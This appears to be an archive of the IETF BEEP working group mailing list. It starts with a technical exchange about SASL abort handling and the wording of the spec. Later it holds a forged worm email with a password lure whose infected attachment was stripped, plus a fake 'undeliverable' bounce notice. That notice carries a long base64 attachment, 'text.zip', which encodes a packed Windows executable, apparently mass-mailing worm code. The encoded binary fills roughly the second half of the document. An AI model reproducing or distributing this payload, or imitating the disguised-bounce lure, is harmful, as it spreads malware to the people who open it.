> looked in RFC 2222 and it says that BEEP is supposed to specify how 
> this is done.

you send back

	<blob status='complete'/>

because the exchange is now completed.

/mtr

From jhw@wetware.com Mon Aug 30 09:36:02 2004
Received: from qawoor.dbc.mtview.ca.us (qawoor.dbc.mtview.ca.us
	[64.168.10.251])i7UGZuXU014685	for <beepwg@drakken.dbc.mtview.ca.us>;
	Mon, 30 Aug 2004 09:36:01 -0700
Received: from wetware.com (wetware.wetware.com [199.108.16.1])
	i7UGWS1h018947	for <beepwg@lists.beepcore.org>;
	Mon, 30 Aug 2004 09:32:28 -0700 (PDT)
Received: from [208.177.152.17] (helo=[10.0.1.5])
	by wetware.com with esmtp (Exim 4.20)
	id 1C1p4t-0001ap-Ee
	for beepwg@lists.beepcore.org; Mon, 30 Aug 2004 09:32:19 -0700
Mime-Version: 1.0 (Apple Message framework v619)
In-Reply-To: <A3308C98-FA69-11D8-AE45-000A95CA7FAE@dbc.mtview.ca.us>
References: <C5A14739-FA43-11D8-9CC0-000A958FF2FE@wetware.com>
	<A3308C98-FA69-11D8-AE45-000A95CA7FAE@dbc.mtview.ca.us>
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <28A3AFDA-FAA2-11D8-9CC0-000A958FF2FE@wetware.com>
Content-Transfer-Encoding: 7bit
From: james woodyatt <jhw@wetware.com>
Subject: Re: [BEEPwg] SASL server response to <blob status='abort'/>
Date: Mon, 30 Aug 2004 09:32:18 -0700
To: BEEP WG <beepwg@lists.beepcore.org>
X-Mailer: Apple Mail (2.619)
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Mon, 30 Aug 2004 16:36:02 -0000

On 30 Aug 2004, at 02:47, Marshall Rose wrote:
> On Aug 29, 2004, at 22:16, james woodyatt wrote:
>
>> There is no direction in RFC 3080 for how a SASL server is supposed 
>> to respond to a MSG from the client to abort the exchange.  How is 
>> the client supposed to know that the exchange was aborted 
>> successfully?  I looked in RFC 2222 and it says that BEEP is supposed 
>> to specify how this is done.
>
> you send back <blob status='complete'/> because the exchange is now 
> completed.

Okay, I can do that.  I suggest that, when we revise the specification 
for consideration as a draft standard (or whatever the new IETF 
standards process is when we do the next revision), we should amend the 
following language in section 4.1.3 to more clearly describe the use of 
the 'complete' status attribute value:

       complete: used by a server to indicate that the exchange is
          complete and successful;

It should probably read:

       complete: used by a server to indicate that the exchange is
          complete with the result that a user is either
          successfully authenticated or the exchange has been
          aborted by the client;

The implication is that a <blob status='complete'> element does *not* 
signal a tuning reset when the client has requested to abort the 
exchange.  I wish that were more clear in the specification.

Thanks for the quick answer.


-- 
j h woodyatt <jhw@wetware.com>
that's my village calling... no doubt, they want their idiot back.

From mrose@dbc.mtview.ca.us Mon Aug 30 11:03:23 2004
Received: from [IPv6:::1] (localhost.localdomain [127.0.0.1])
	i7UI3M9i020486;	Mon, 30 Aug 2004 11:03:23 -0700
In-Reply-To: <28A3AFDA-FAA2-11D8-9CC0-000A958FF2FE@wetware.com>
References: <C5A14739-FA43-11D8-9CC0-000A958FF2FE@wetware.com>
	<A3308C98-FA69-11D8-AE45-000A95CA7FAE@dbc.mtview.ca.us>
	<28A3AFDA-FAA2-11D8-9CC0-000A958FF2FE@wetware.com>
Mime-Version: 1.0 (Apple Message framework v619)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <DF26A880-FAAE-11D8-BBBF-000A95CA7FAE@dbc.mtview.ca.us>
Content-Transfer-Encoding: 7bit
From: Marshall Rose <mrose@dbc.mtview.ca.us>
Subject: Re: [BEEPwg] SASL server response to <blob status='abort'/>
Date: Mon, 30 Aug 2004 11:03:18 -0700
To: james woodyatt <jhw@wetware.com>
X-Mailer: Apple Mail (2.619)
cc: BEEP WG <beepwg@lists.beepcore.org>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Mon, 30 Aug 2004 18:03:23 -0000


On Aug 30, 2004, at 09:32, james woodyatt wrote:

> I suggest that, when we revise the specification for consideration as 
> a draft standard (or whatever the new IETF standards process is when 
> we do the next revision), we should amend the following language in 
> section 4.1.3 to more clearly describe the use of the 'complete' 
> status attribute value:
>
>       complete: used by a server to indicate that the exchange is
>          complete and successful;
>
> It should probably read:
>
>       complete: used by a server to indicate that the exchange is
>          complete with the result that a user is either
>          successfully authenticated or the exchange has been
>          aborted by the client;
>
> The implication is that a <blob status='complete'> element does *not* 
> signal a tuning reset when the client has requested to abort the 
> exchange.  I wish that were more clear in the specification.

i agree.

/mtr

From mrose@dbc.mtview.ca.us Wed Jan 12 20:02:17 2005
Received: from mx-itb.geoph.ITB.ac.id (mx7.ITB.ac.id [167.205.30.13])
	j0D42Ejq029083
	for <beepwg@lists.beepcore.org>; Wed, 12 Jan 2005 20:02:16 -0800
Received: from mx.itb.ac.id (localhost.geoph.itb.ac.id [127.0.0.1])
	by mx-itb.geoph.ITB.ac.id (Postfix) with SMTP id B5E2120E63
	for <beepwg@lists.beepcore.org>; Thu, 13 Jan 2005 11:15:38 +0700 (WIT)
Received: from piib (unknown [167.205.45.117])
	by mx-itb.geoph.ITB.ac.id (Postfix) with SMTP id 8A1A020E60
	for <beepwg@lists.beepcore.org>; Thu, 13 Jan 2005 11:15:38 +0700 (WIT)
Date: Thu, 13 Jan 2005 11:01:36 +0700
To: beepwg@lists.beepcore.org
From: mrose@dbc.mtview.ca.us
Message-ID: <xelfjimmrlnkunakvkq@dbc.mtview.ca.us>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------wokiroeqmgnlloloakxb"
Subject: [BEEPwg] ^_^ meay-meay!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 13 Jan 2005 04:02:17 -0000

----------wokiroeqmgnlloloakxb
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

 Argh, i don't like  the plaintext  :)

password:  57520

----------wokiroeqmgnlloloakxb
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment; filename="TextFile.zip.txt"

***************************************************************
 ** Attachment TextFile.zip was infected with I-Worm.Bagle.ZIP.Gen virus,
 ** attachment part was removed.
 ***************************************************************


----------wokiroeqmgnlloloakxb--

From mrose@dbc.mtview.ca.us Thu Jan 13 08:45:57 2005
Received: from [IPv6:::1] (localhost.localdomain [127.0.0.1])
	j0DGjuaR007364
	for <beepwg@lists.beepcore.org>; Thu, 13 Jan 2005 08:45:57 -0800
Mime-Version: 1.0 (Apple Message framework v619)
In-Reply-To: <xelfjimmrlnkunakvkq@dbc.mtview.ca.us>
References: <xelfjimmrlnkunakvkq@dbc.mtview.ca.us>
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <96BABEB4-6582-11D9-8E80-000A95CA7FAE@dbc.mtview.ca.us>
Content-Transfer-Encoding: 7bit
From: Marshall Rose <mrose@dbc.mtview.ca.us>
Subject: Re: [BEEPwg] ^_^ meay-meay!
Date: Thu, 13 Jan 2005 08:45:53 -0800
To: BEEP WG <beepwg@lists.beepcore.org>
X-Mailer: Apple Mail (2.619)
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 13 Jan 2005 16:45:57 -0000


On Jan 12, 2005, at 20:01, mrose@dbc.mtview.ca.us wrote:

>  Argh, i don't like  the plaintext  :)
>
> password:  57520
> <TextFile.zip.txt>

obviously, this was an automated forgery that got past the whitelist on 
the mailing list.

obviously, do not open the attachment.

/mtr

From jmpolk@cisco.com Wed Feb 23 22:56:16 2005
Received: from bulk.resource.org (bulk.resource.org [192.101.98.10])
	j1O6uGWj011132
	for <beepwg@lists.beepcore.org>; Wed, 23 Feb 2005 22:56:16 -0800
Received: from cisco.com ([220.200.115.61])
	by bulk.resource.org (8.12.2/8.12.2) with ESMTP id j1O6u3Rr008588
	for <beepwg@lists.beepcore.org>; Wed, 23 Feb 2005 22:56:04 -0800 (PST)
Message-Id: <200502240656.j1O6u3Rr008588@bulk.resource.org>
From: jmpolk@cisco.com
To: beepwg@lists.beepcore.org
Date: Thu, 24 Feb 2005 14:55:33 +0800
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0009_A9A205A3.4EFAA6BA"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Subject: [BEEPwg] Beepwg@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 24 Feb 2005 06:56:16 -0000

This is a multi-part message in MIME format.

------=_NextPart_000_0009_A9A205A3.4EFAA6BA
Content-Type: text/plain;
	charset=us-ascii
Content-Transfer-Encoding: 7bit

Your message was undeliverable due to the following reason(s):

Your message was not delivered because the destination server was
not reachable within the allowed queue period. The amount of time
a message is queued before it is returned depends on local configura-
tion parameters.

Most likely there is a network problem that prevented delivery, but
it is also possible that the computer is turned off, or does not
have a mail system running right now.

Your message could not be delivered within 3 days:
Host 207.68.143.243 is not responding.

The following recipients could not receive this message:
<beepwg@lists.beepcore.org>

Please reply to postmaster@lists.beepcore.org
if you feel this message to be in error.


------=_NextPart_000_0009_A9A205A3.4EFAA6BA
Content-Type: application/octet-stream;
	name="text.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="text.zip"

UEsDBAoAAAAAAPA2WDLCaQ6tEnEAABJxAAAIAAAAdGV4dC56aXBQSwMECgAAAAAA8DZYMnrMTwOg
cAAAoHAAAAgAAAB0ZXh0LmNtZE1akAADAAAABAAAAP//AAC4AAAAAAAAAEAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAANgAAAAOH7oOALQJzSG4AUzNIVRoaXMgcHJvZ3JhbSBjYW5u
b3QgYmUgcnVuIGluIERPUyBtb2RlLg0NCiQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAFBFAABMAQMAAAAAAAAAAAAAAAAA4AAPAQsBBwAAYAAAABAAAACAAAAA7QAAAJAAAADw
AAAAAFAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAAABAAAQAAAAAAAAAgAAAAAAEAAAEAAAAAAQ
AAAQAAAAAAAAEAAAAAAAAAAAAAAAFPUAADABAAAA8AAAFAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVBYMAAAAAAAgAAAABAAAAAAAAAABAAAAAAAAAAA
AAAAAAAAgAAA4FVQWDEAAAAAAGAAAACQAAAAYAAAAAQAAAAAAAAAAAAAAAAAAEAAAOAucnNyYwAA
AAAQAAAA8AAAAAgAAABkAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
